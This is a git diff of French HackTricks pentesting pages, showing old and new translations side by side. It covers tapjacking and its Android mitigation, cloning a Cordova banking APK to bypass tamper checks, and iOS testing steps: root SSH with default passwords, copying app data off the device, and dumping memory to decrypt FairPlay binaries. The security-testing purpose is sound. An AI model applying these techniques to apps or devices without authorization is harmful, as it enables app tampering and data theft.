Un projet d'exemple implémentant **FloatingWindowApp**, qui peut être utilisé pour se superposer à d'autres activités afin d'effectuer une attaque clickjacking, peut être trouvé dans [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un peu ancien, bonne chance pour construire l'apk).
|
||||
|
||||
### Qark
|
||||
|
||||
{% hint style="danger" %}
|
||||
Il semble que ce projet ne soit plus maintenu et que cette fonctionnalité ne fonctionne plus correctement
|
||||
Il semble que ce projet ne soit plus maintenu et que cette fonctionnalité ne fonctionne plus correctement.
|
||||
{% endhint %}
|
||||
|
||||
Vous pouvez utiliser [**qark**](https://github.com/linkedin/qark) avec les paramètres `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` pour créer une application malveillante afin de tester les vulnérabilités potentielles de **Tapjacking**.
|
||||
Vous pouvez utiliser [**qark**](https://github.com/linkedin/qark) avec les paramètres `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` pour créer une application malveillante afin de tester les éventuelles vulnérabilités **Tapjacking**.\
|
||||
|
||||
La mitigation est relativement simple car le développeur peut choisir de ne pas recevoir d'événements tactiles lorsqu'une vue est recouverte par une autre. En utilisant la [Référence du développeur Android](https://developer.android.com/reference/android/view/View#security):
|
||||
L'atténuation est relativement simple car le développeur peut choisir de ne pas recevoir d'événements tactiles lorsqu'une vue est recouverte par une autre. En utilisant la [Référence des développeurs Android](https://developer.android.com/reference/android/view/View#security) :
|
||||
|
||||
> Parfois, il est essentiel qu'une application puisse vérifier qu'une action est effectuée avec la pleine connaissance et le consentement de l'utilisateur, comme accorder une demande de permission, effectuer un achat ou cliquer sur une publicité. Malheureusement, une application malveillante pourrait essayer de tromper l'utilisateur en lui faisant effectuer ces actions, sans le savoir, en cachant le but prévu de la vue. En guise de remède, le framework offre un mécanisme de filtrage tactile qui peut être utilisé pour améliorer la sécurité des vues qui fournissent un accès à des fonctionnalités sensibles.
|
||||
> Parfois, il est essentiel qu'une application puisse vérifier qu'une action est effectuée avec la pleine connaissance et le consentement de l'utilisateur, comme accorder une demande de permission, effectuer un achat ou cliquer sur une publicité. Malheureusement, une application malveillante pourrait essayer de tromper l'utilisateur pour qu'il effectue ces actions, à son insu, en dissimulant le but prévu de la vue. En guise de remède, le framework offre un mécanisme de filtrage des touches qui peut être utilisé pour améliorer la sécurité des vues qui fournissent un accès à des fonctionnalités sensibles.
|
||||
>
|
||||
> Pour activer le filtrage tactile, appelez [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ou définissez l'attribut de mise en page android:filterTouchesWhenObscured sur true. Lorsqu'il est activé, le framework ignorera les touches reçues chaque fois que la fenêtre de la vue est obscurcie par une autre fenêtre visible. En conséquence, la vue ne recevra pas de touches chaque fois qu'un toast, une boîte de dialogue ou une autre fenêtre apparaît au-dessus de la fenêtre de la vue.
|
||||
> Pour activer le filtrage des touches, appelez [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ou définissez l'attribut de mise en page android:filterTouchesWhenObscured sur true. Lorsqu'il est activé, le framework rejettera les touches reçues chaque fois que la fenêtre de la vue est obscurcie par une autre fenêtre visible. En conséquence, la vue ne recevra pas de touches chaque fois qu'un toast, un dialogue ou une autre fenêtre apparaît au-dessus de la fenêtre de la vue.
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,42 +1,43 @@
|
|||
# Applications Cordova
|
||||
# Cordova Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Pour plus de détails, consultez [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Ceci est un résumé:
|
||||
**Pour plus de détails, consultez [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Voici un résumé :
|
||||
|
||||
Apache Cordova est reconnu pour permettre le développement d'applications **hybrides** en utilisant **JavaScript, HTML et CSS**. Il permet la création d'applications Android et iOS; cependant, il ne dispose pas d'un mécanisme par défaut pour sécuriser le code source de l'application. Contrairement à React Native, Cordova ne compile pas le code source par défaut, ce qui peut entraîner des vulnérabilités de manipulation de code. Cordova utilise WebView pour rendre les applications, exposant le code HTML et JavaScript même après avoir été compilé en fichiers APK ou IPA. React Native, en revanche, utilise une machine virtuelle JavaScript pour exécuter le code JavaScript, offrant une meilleure protection du code source.
|
||||
Apache Cordova est reconnu pour permettre le développement d'**applications hybrides** utilisant **JavaScript, HTML et CSS**. Il permet la création d'applications Android et iOS ; cependant, il manque d'un mécanisme par défaut pour sécuriser le code source de l'application. Contrairement à React Native, Cordova ne compile pas le code source par défaut, ce qui peut entraîner des vulnérabilités de falsification de code. Cordova utilise WebView pour rendre les applications, exposant le code HTML et JavaScript même après avoir été compilé en fichiers APK ou IPA. React Native, en revanche, utilise une VM JavaScript pour exécuter le code JavaScript, offrant une meilleure protection du code source.
|
||||
|
||||
### Clonage d'une application Cordova
|
||||
### Cloner une application Cordova
|
||||
|
||||
Avant de cloner une application Cordova, assurez-vous que NodeJS est installé ainsi que d'autres prérequis tels que le SDK Android, Java JDK et Gradle. La [documentation](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) officielle de Cordova fournit un guide complet pour ces installations.
|
||||
Avant de cloner une application Cordova, assurez-vous que NodeJS est installé avec d'autres prérequis comme le SDK Android, Java JDK et Gradle. La [documentation officielle de Cordova](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) fournit un guide complet pour ces installations.
|
||||
|
||||
Considérez une application exemple nommée `Bank.apk` avec le nom de package `com.android.bank`. Pour accéder au code source, décompressez `bank.apk` et accédez au dossier `bank/assets/www`. Ce dossier contient l'intégralité du code source de l'application, y compris les fichiers HTML et JS. La configuration de l'application se trouve dans `bank/res/xml/config.xml`.
|
||||
Considérez un exemple d'application nommée `Bank.apk` avec le nom de package `com.android.bank`. Pour accéder au code source, décompressez `bank.apk` et naviguez vers le dossier `bank/assets/www`. Ce dossier contient le code source complet de l'application, y compris les fichiers HTML et JS. La configuration de l'application se trouve dans `bank/res/xml/config.xml`.
|
||||
|
||||
Pour cloner l'application, suivez ces étapes:
|
||||
Pour cloner l'application, suivez ces étapes :
|
||||
```bash
|
||||
npm install -g cordova@latest
|
||||
cordova create bank-new com.android.bank Bank
|
||||
cd bank-new
|
||||
```
|
||||
Copiez le contenu de `bank/assets/www` vers `bank-new/www`, en excluant `cordova_plugins.js`, `cordova.js`, `cordova-js-src/`, et le répertoire `plugins/`.
|
||||
Copiez le contenu de `bank/assets/www` vers `bank-new/www`, en excluant `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` et le répertoire `plugins/`.
|
||||
|
||||
Spécifiez la plateforme (Android ou iOS) lors de la création d'un nouveau projet Cordova. Pour cloner une application Android, ajoutez la plateforme Android. Notez que les versions de plateforme de Cordova et les niveaux d'API Android sont distincts. Consultez la [documentation](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) de Cordova pour plus de détails sur les versions de plateforme et les APIs Android prises en charge.
|
||||
Spécifiez la plateforme (Android ou iOS) lors de la création d'un nouveau projet Cordova. Pour cloner une application Android, ajoutez la plateforme Android. Notez que les versions de plateforme de Cordova et les niveaux d'API Android sont distincts. Consultez la [documentation](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) de Cordova pour plus de détails sur les versions de plateforme et les API Android prises en charge.
|
||||
|
||||
Pour déterminer la version de plateforme Android Cordova appropriée, vérifiez le `PLATFORM_VERSION_BUILD_LABEL` dans le fichier `cordova.js` de l'application d'origine.
|
||||
Pour déterminer la version appropriée de la plateforme Cordova Android, vérifiez le `PLATFORM_VERSION_BUILD_LABEL` dans le fichier `cordova.js` de l'application d'origine.
|
||||
|
||||
Après avoir configuré la plateforme, installez les plugins requis. Le fichier `bank/assets/www/cordova_plugins.js` de l'application d'origine répertorie tous les plugins et leurs versions. Installez chaque plugin individuellement comme indiqué ci-dessous:
|
||||
Après avoir configuré la plateforme, installez les plugins requis. Le fichier `bank/assets/www/cordova_plugins.js` de l'application d'origine répertorie tous les plugins et leurs versions. Installez chaque plugin individuellement comme indiqué ci-dessous :
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova plugin add cordova-plugin-dialogs@2.0.1
|
||||
|
@ -56,22 +57,23 @@ Pour construire l'APK, utilisez la commande suivante :
|
|||
cd bank-new
|
||||
cordova build android — packageType=apk
|
||||
```
|
||||
Ce commandement génère un APK avec l'option de débogage activée, facilitant le débogage via Google Chrome. Il est crucial de signer l'APK avant l'installation, surtout si l'application inclut des mécanismes de détection de manipulation de code.
|
||||
Cette commande génère un APK avec l'option de débogage activée, facilitant le débogage via Google Chrome. Il est crucial de signer l'APK avant l'installation, surtout si l'application inclut des mécanismes de détection de falsification de code.
|
||||
|
||||
### Outil d'automatisation
|
||||
|
||||
Pour ceux qui cherchent à automatiser le processus de clonage, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** est un outil recommandé. Il simplifie le clonage des applications Android, en simplifiant les étapes décrites ci-dessus.
|
||||
Pour ceux qui cherchent à automatiser le processus de clonage, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** est un outil recommandé. Il simplifie le clonage des applications Android, rendant plus faciles les étapes décrites ci-dessus.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# Opérations de base de test iOS
|
||||
# iOS Basic Testing Operations
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Résumé de l'identification et de l'accès aux appareils iOS**
|
||||
|
||||
### **Identification de l'UDID d'un appareil iOS**
|
||||
### **Identification du UDID d'un appareil iOS**
|
||||
|
||||
Pour identifier de manière unique un appareil iOS, une séquence de 40 chiffres appelée UDID est utilisée. Sur macOS Catalina ou ultérieur, cela peut être trouvé dans l'application **Finder**, car iTunes n'est plus présent. L'appareil, une fois connecté via USB et sélectionné dans Finder, révèle son UDID parmi d'autres informations lorsque les détails sous son nom sont cliqués.
|
||||
Pour identifier un appareil iOS de manière unique, une séquence de 40 chiffres connue sous le nom de UDID est utilisée. Sur macOS Catalina ou une version plus récente, cela peut être trouvé dans l'**application Finder**, car iTunes n'est plus présent. L'appareil, une fois connecté via USB et sélectionné dans Finder, révèle son UDID parmi d'autres informations lorsque les détails sous son nom sont consultés.
|
||||
|
||||
Pour les versions de macOS antérieures à Catalina, iTunes facilite la découverte de l'UDID. Des instructions détaillées peuvent être trouvées [ici](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
|
||||
Pour les versions de macOS antérieures à Catalina, iTunes facilite la découverte du UDID. Des instructions détaillées peuvent être trouvées [ici](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
|
||||
|
||||
Les outils en ligne de commande offrent des méthodes alternatives pour récupérer l'UDID :
|
||||
Les outils en ligne de commande offrent des méthodes alternatives pour récupérer le UDID :
|
||||
|
||||
* **En utilisant l'outil I/O Registry Explorer `ioreg` :**
|
||||
* **Utilisation de l'outil I/O Registry Explorer `ioreg`:**
|
||||
```bash
|
||||
$ ioreg -p IOUSB -l | grep "USB Serial"
|
||||
```
|
||||
|
@ -37,42 +38,42 @@ $ idevice_id -l
|
|||
```bash
|
||||
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
|
||||
```
|
||||
* **Utilisation de `instruments` pour répertorier les appareils :**
|
||||
* **Utilisation de `instruments` pour lister les appareils :**
|
||||
```bash
|
||||
$ instruments -s devices
|
||||
```
|
||||
### **Accès au Shell du Dispositif**
|
||||
### **Accéder au Shell de l'Appareil**
|
||||
|
||||
L'accès SSH est activé en installant le paquet **OpenSSH** après le jailbreak, permettant des connexions via `ssh root@<adresse_ip_du_dispositif>`. Il est crucial de changer les mots de passe par défaut (`alpine`) pour les utilisateurs `root` et `mobile` afin de sécuriser le dispositif.
|
||||
L'accès **SSH** est activé en installant le **package OpenSSH** après le jailbreak, permettant des connexions via `ssh root@<device_ip_address>`. Il est crucial de changer les mots de passe par défaut (`alpine`) pour les utilisateurs `root` et `mobile` afin de sécuriser l'appareil.
|
||||
|
||||
**SSH via USB** devient nécessaire en l'absence de Wi-Fi, en utilisant `iproxy` pour mapper les ports du dispositif pour les connexions SSH. Cette configuration permet l'accès SSH via USB en exécutant :
|
||||
**SSH sur USB** devient nécessaire en l'absence de Wi-Fi, en utilisant `iproxy` pour mapper les ports de l'appareil pour les connexions SSH. Cette configuration permet l'accès SSH via USB en exécutant :
|
||||
```bash
|
||||
$ iproxy 2222 22
|
||||
$ ssh -p 2222 root@localhost
|
||||
```
|
||||
**Applications de shell sur l'appareil**, comme NewTerm 2, facilitent l'interaction directe avec l'appareil, particulièrement utile pour le dépannage. Les **coquilles SSH inversées** peuvent également être établies pour un accès à distance depuis l'ordinateur hôte.
|
||||
**Les applications de shell sur l'appareil**, comme NewTerm 2, facilitent l'interaction directe avec l'appareil, particulièrement utile pour le dépannage. **Des shells SSH inversés** peuvent également être établis pour un accès à distance depuis l'ordinateur hôte.
|
||||
|
||||
### **Réinitialisation des mots de passe oubliés**
|
||||
|
||||
Pour réinitialiser un mot de passe oublié au mot de passe par défaut (`alpine`), il est nécessaire de modifier le fichier `/private/etc/master.passwd`. Cela implique de remplacer le hachage existant par le hachage pour `alpine` à côté des entrées des utilisateurs `root` et `mobile`.
|
||||
Pour réinitialiser un mot de passe oublié à la valeur par défaut (`alpine`), il est nécessaire de modifier le fichier `/private/etc/master.passwd`. Cela implique de remplacer le hash existant par le hash pour `alpine` à côté des entrées des utilisateurs `root` et `mobile`.
|
||||
|
||||
## **Techniques de transfert de données**
|
||||
|
||||
### **Transfert de fichiers de données d'application**
|
||||
|
||||
**Archivage et Récupération via SSH et SCP:** Il est simple d'archiver le répertoire de données de l'application en utilisant `tar` puis de le transférer en utilisant `scp`. La commande ci-dessous archive le répertoire de données dans un fichier .tgz, qui est ensuite extrait de l'appareil:
|
||||
**Archivage et récupération via SSH et SCP :** Il est simple d'archiver le répertoire Data de l'application en utilisant `tar` puis de le transférer en utilisant `scp`. La commande ci-dessous archive le répertoire Data dans un fichier .tgz, qui est ensuite récupéré depuis l'appareil :
|
||||
```bash
|
||||
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||
exit
|
||||
scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||
```
|
||||
### **Outils d'Interface Utilisateur Graphique**
|
||||
### **Outils d'Interface Graphique**
|
||||
|
||||
**Utilisation de iFunbox et iExplorer:** Ces outils GUI sont utiles pour gérer les fichiers sur les appareils iOS. Cependant, à partir d'iOS 8.4, Apple a restreint l'accès de ces outils au bac à sable de l'application sauf si le périphérique est jailbreaké.
|
||||
**Utilisation d'iFunbox et d'iExplorer :** Ces outils GUI sont utiles pour gérer des fichiers sur des appareils iOS. Cependant, à partir d'iOS 8.4, Apple a restreint l'accès de ces outils au sandbox de l'application à moins que l'appareil ne soit jailbreaké.
|
||||
|
||||
### **Utilisation d'Objection pour la Gestion de Fichiers**
|
||||
### **Utilisation d'Objection pour la Gestion des Fichiers**
|
||||
|
||||
**Shell Interactif avec Objection:** Le lancement d'objection fournit un accès au répertoire Bundle d'une application. À partir de là, vous pouvez naviguer jusqu'au répertoire Documents de l'application et gérer les fichiers, y compris les télécharger et les téléverser vers et depuis l'appareil iOS.
|
||||
**Shell Interactif avec Objection :** Le lancement d'objection permet d'accéder au répertoire Bundle d'une application. De là, vous pouvez naviguer vers le répertoire Documents de l'application et gérer des fichiers, y compris les télécharger et les téléverser vers et depuis l'appareil iOS.
|
||||
```bash
|
||||
objection --gadget com.apple.mobilesafari explorer
|
||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
|
@ -82,19 +83,19 @@ file download <filename>
|
|||
|
||||
### **Acquisition du Fichier IPA**
|
||||
|
||||
**Lien de Distribution Over-The-Air (OTA) :** Les applications distribuées pour les tests via OTA peuvent être téléchargées en utilisant l'outil de téléchargement d'actifs des services ITMS, qui est installé via npm et utilisé pour sauvegarder le fichier IPA localement.
|
||||
**Lien de Distribution Over-The-Air (OTA) :** Les applications distribuées pour les tests via OTA peuvent être téléchargées à l'aide de l'outil de téléchargement d'actifs des services ITMS, qui est installé via npm et utilisé pour enregistrer le fichier IPA localement.
|
||||
```bash
|
||||
npm install -g itms-services
|
||||
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||
```
|
||||
### **Extraction du binaire de l'application**
|
||||
|
||||
1. **À partir d'un IPA :** Décompressez l'IPA pour accéder au binaire de l'application déchiffré.
|
||||
2. **À partir d'un appareil jailbreaké :** Installez l'application et extrayez le binaire déchiffré de la mémoire.
|
||||
1. **Depuis un IPA :** Décompressez l'IPA pour accéder au binaire de l'application déchiffré.
|
||||
2. **Depuis un appareil jailbreaké :** Installez l'application et extrayez le binaire déchiffré de la mémoire.
|
||||
|
||||
### **Processus de déchiffrement**
|
||||
|
||||
**Aperçu du déchiffrement manuel :** Les binaires des applications iOS sont chiffrés par Apple en utilisant FairPlay. Pour les rétroconcevoir, il est nécessaire de récupérer le binaire déchiffré de la mémoire. Le processus de déchiffrement implique de vérifier le drapeau PIE, d'ajuster les drapeaux de mémoire, d'identifier la section chiffrée, puis de la récupérer et de la remplacer par sa forme déchiffrée.
|
||||
**Aperçu du déchiffrement manuel :** Les binaires d'applications iOS sont chiffrés par Apple à l'aide de FairPlay. Pour effectuer une rétro-ingénierie, il faut extraire le binaire déchiffré de la mémoire. Le processus de déchiffrement implique de vérifier le drapeau PIE, d'ajuster les drapeaux de mémoire, d'identifier la section chiffrée, puis de vider et de remplacer cette section par sa forme déchiffrée.
|
||||
|
||||
**Vérification et modification du drapeau PIE :**
|
||||
```bash
|
||||
|
@ -102,38 +103,38 @@ otool -Vh Original_App
|
|||
python change_macho_flags.py --no-pie Original_App
|
||||
otool -Vh Hello_World
|
||||
```
|
||||
**Identifier la section chiffrée et le vidage de mémoire :**
|
||||
**Identification de la section chiffrée et vidage de la mémoire :**
|
||||
|
||||
Déterminez les adresses de début et de fin de la section chiffrée en utilisant `otool` et effectuez le vidage de mémoire depuis l'appareil jailbreaké en utilisant gdb.
|
||||
Déterminez les adresses de début et de fin de la section chiffrée à l'aide de `otool` et vidangez la mémoire depuis le dispositif jailbreaké en utilisant gdb.
|
||||
```bash
|
||||
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
|
||||
dump memory dump.bin 0x8000 0x10a4000
|
||||
```
|
||||
**Remplacement de la section chiffrée :**
|
||||
**Surcharger la section chiffrée :**
|
||||
|
||||
Remplacez la section chiffrée dans le binaire de l'application d'origine par le dump déchiffré.
|
||||
Remplacez la section chiffrée dans le binaire de l'application originale par le dump déchiffré.
|
||||
```bash
|
||||
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||
```
|
||||
**Finalisation du Déchiffrement :** Modifier les métadonnées du binaire pour indiquer l'absence de chiffrement en utilisant des outils comme **MachOView**, en définissant `cryptid` sur 0.
|
||||
**Finaliser le déchiffrement :** Modifiez les métadonnées du binaire pour indiquer l'absence de chiffrement en utilisant des outils comme **MachOView**, en définissant `cryptid` à 0.
|
||||
|
||||
### **Déchiffrement (Automatique)**
|
||||
### **Déchiffrement (Automatiquement)**
|
||||
|
||||
#### **frida-ios-dump**
|
||||
L'outil [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) est utilisé pour **déchiffrer et extraire automatiquement des applications** des appareils iOS. Initialement, il faut configurer `dump.py` pour se connecter à l'appareil iOS, ce qui peut être fait via localhost sur le port 2222 via **iproxy** ou directement via l'adresse IP et le port de l'appareil.
|
||||
